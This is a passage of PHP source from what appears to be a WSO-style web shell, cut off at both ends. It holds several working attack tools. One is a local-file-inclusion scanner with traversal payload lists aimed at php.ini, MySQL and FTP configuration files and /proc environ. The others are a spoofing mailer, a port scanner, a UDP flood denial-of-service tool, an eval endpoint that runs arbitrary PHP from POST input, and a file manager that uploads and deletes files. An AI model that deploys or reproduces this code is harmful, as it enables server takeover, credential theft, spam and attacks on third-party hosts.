23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",

24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",

25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",

26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",

27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");

$lfimysql = array(

1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",

2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",

3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",

4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",

5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",

6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",

7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",

8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",

9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",

10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");

$lfiftp = array(

1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",

2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",

3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",

4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",

5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",

6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",

7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",

8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",

9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",

10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",

11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",

12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",

13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",

14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",

15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",

16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",

17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",

18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",

19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",

20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",

21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",

22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",

23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",

24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",

25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",

26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",

27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",

28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",

29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",

30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",

31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",

32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",

33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",

34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",

35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",

36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",

37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",

38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",

39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",

40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",

41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",

42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",

43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",

44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");

$x = 1;

if ( $type == 1 ) {

$res1 = FetchURL($target.$lfitest);

$res2 = FetchURL($target.$lfitest2);

$rhash1 = md5($res1);

$rhash2 = md5($res2);

if ($rhash1 != $rhash2) {

print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";

while($lfiaccess[$x]) {

$res3 = FetchURL($target.$lfiaccess[$x]);

$rhash3 = md5($res3);

if ($rhash3 != $rhash2) {

print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";

}

else {

print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";

}

$x++;

}

}

}

if ( $type == 2 ) {

$res1 = FetchURL($target.$lfitest);

$res2 = FetchURL($target.$lfitest2);

$rhash1 = md5($res1);

$rhash2 = md5($res2);

if ($rhash1 != $rhash2) {

print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";

while($lficonfig[$x]) {

$res3 = FetchURL($target.$lficonfig[$x]);

$rhash3 = md5($res3);

if ($rhash3 != $rhash2) {

print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";

}

else {

print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";

}

$x++;

}

}

}

if ( $type == 3 ) {

$res1 = FetchURL($target.$lfitest);

$res2 = FetchURL($target.$lfitest2);

$rhash1 = md5($res1);

$rhash2 = md5($res2);

if ($rhash1 != $rhash2) {

print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";

while($lfierror[$x]) {

$res3 = FetchURL($target.$lfierror[$x]);

$rhash3 = md5($res3);

if ($rhash3 != $rhash2) {

print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";

}

else {

print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";

}

$x++;

}

}

}

if ( $type == 4 ) {

$res1 = FetchURL($target.$lfitest);

$res2 = FetchURL($target.$lfitest2);

$rhash1 = md5($res1);

$rhash2 = md5($res2);

if ($rhash1 != $rhash2) {

print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";

while($lfiphpini[$x]) {

$res3 = FetchURL($target.$lfiphpini[$x]);

$rhash3 = md5($res3);

if ($rhash3 != $rhash2) {

print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";

}

else {

print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";

}

$x++;

}

}

}

if ( $type == 5 ) {

$res1 = FetchURL($target.$lfitest);

$res2 = FetchURL($target.$lfitest2);

$rhash1 = md5($res1);

$rhash2 = md5($res2);

if ($rhash1 != $rhash2) {

print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";

while($lfimysql[$x]) {

$res3 = FetchURL($target.$lfimysql[$x]);

$rhash3 = md5($res3);

if ($rhash3 != $rhash2) {

print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";

}

else {

print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";

}

$x++;

}

}

}

if ( $type == 6 ) {

$res1 = FetchURL($target.$lfitest);

$res2 = FetchURL($target.$lfitest2);

$rhash1 = md5($res1);

$rhash2 = md5($res2);

if ($rhash1 != $rhash2) {

print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";

while($lfiftp[$x]) {

$res3 = FetchURL($target.$lfiftp[$x]);

$rhash3 = md5($res3);

if ($rhash3 != $rhash2) {

print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";

}

else {

print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";

}

$x++;

}

}

}

if ( $type == 7 ) {

$res1 = FetchURL($target.$lfitest);

$res2 = FetchURL($target.$lfitest2);

$rhash1 = md5($res1);

$rhash2 = md5($res2);

if ($rhash1 != $rhash2) {

print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{

$res3 = FetchURL($target.$lfiprocenv);

$rhash3 = md5($res3);

if ($rhash3 != $rhash2) {

print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";

}

else {

print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";

}

}

}

}

}

wsoFooter();

}

function actionphptools() {

wsoHeader();

?><center><?php

//mailer

echo '<b>Mailer</b><br>

<form action="'.$surl.'" method=POST>

<input type="hidden" name="a" value="phptools">

<input type=text name=to value=to><br>

<input type=text name=from value=from><br>

<input type=text name=subject value=subject><br>

<input type=text name=body value=body><br>

<input type=submit name=submit value=Submit></form>';

if (isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['body'])) {

$headers = 'From: '.$_POST['from'];

mail ($_POST['to'],$_POST['subject'],$_POST['body'],$headers);

echo 'Email sent.';

}

//port scanner

echo '<br><b>Port Scanner</b><br>';

$start = strip_tags($_POST['start']);

$end = strip_tags($_POST['end']);

$host = strip_tags($_POST['host']);

if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){

for($i = $start; $i<=$end; $i++){

$fp = @fsockopen($host, $i, $errno, $errstr, 3);

if($fp){

echo 'Port '.$i.' is <font color=green>open</font><br>';

}

flush();

}

}else{

?>

<form action="?" method="POST">

<input type="hidden" name="a" value="phptools">

Host:<br />

<input type="text" name="host" value="localhost"/><br />

Port start:<br />

<input type="text" name="start" value="0"/><br />

Port end:<br />

<input type="text" name="end" value="5000"/><br />

<input type="submit" value="Scan Ports" />

</form>

<?php

}

//UDP

if(isset($_POST['host'])&&is_numeric($_POST['time'])){

$pakits = 0;

ignore_user_abort(TRUE);

set_time_limit(0);

$exec_time = $_POST['time'];

$time = time();

//print "Started: ".time('h:i:s')."<br>";

$max_time = $time+$exec_time;

$host = $_POST['host'];

for($i=0;$i<65000;$i++){

$out .= 'X';

}

while(1){

$pakits++;

if(time() > $max_time){

break;

}

$rand = rand(1,65000);

$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);

if($fp){

fwrite($fp, $out);

fclose($fp);

}

}

echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";

echo '<br><br>

<form action="'.$surl.'" method=POST>

<input type="hidden" name="a" value="phptools">

Host: <input type=text name=host value=localhost>

Length (seconds): <input type=text name=time value=9999>

<input type=submit value=Go></form>';

}else{ echo '<br><b>UDP Flood</b><br>

<form action=? method=POST>

<input type="hidden" name="a" value="phptools">

Host: <br><input type=text name=host value=localhost><br>

Length (seconds): <br><input type=text name=time value=9999><br>

<input type=submit value=Go></form>';

}

?></center><?php

wsoFooter();}

function actionPhp() {

if(isset($_POST['ajax'])) {

$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;

ob_start();

eval($_POST['p1']);

$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";

echo strlen($temp), "\n", $temp;

exit;

}

wsoHeader();

if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {

echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';

ob_start();

phpinfo();

$tmp = ob_get_clean();

$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);

$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);

echo str_replace('<h1','<h2', $tmp) .'</div><br>';

}

if(empty($_POST['ajax']) && !empty($_POST['p1']))

$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;

echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';

echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';

if(!empty($_POST['p1'])) {

ob_start();

eval($_POST['p1']);

echo htmlspecialchars(ob_get_clean());

}

echo '</pre></div>';

wsoFooter();

}

function actionFilesMan() {

wsoHeader();

echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';

if(!empty($_POST['p1'])) {

switch($_POST['p1']) {

case 'uploadFile':

if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))

echo "Can't upload file!";

break;

case 'mkdir':

if(!@mkdir($_POST['p2']))

echo "Can't create new dir";

break;

case 'delete':

function deleteDir($path) {

$path = (substr($path,-1)=='/') ? $path:$path.'/';

$dh = opendir($path);

while ( ($item = readdir($dh) ) !== false) {

$item = $path.$item;

if ( (basename($item) == "..") || (basename($item) == ".") )

continue;

$type = filetype($item);

if ($type == "dir")

deleteDir($item);

else

@unlink($item);

}

closedir($dh);

@rmdir($path);

}

if(is_array(@$_POST['f']))

foreach($_POST['f'] as $f) {

if($f == '..')

continue;

$f = urldecode($f);

if(is_dir($f))

deleteDir($f);

else

@unlink($f);

}

break;

case 'paste':

if($_SESSION['act'] == 'copy') {

function copy_paste($c,$s,$d){

if(is_dir($c.$s)){

mkdir($d.$s);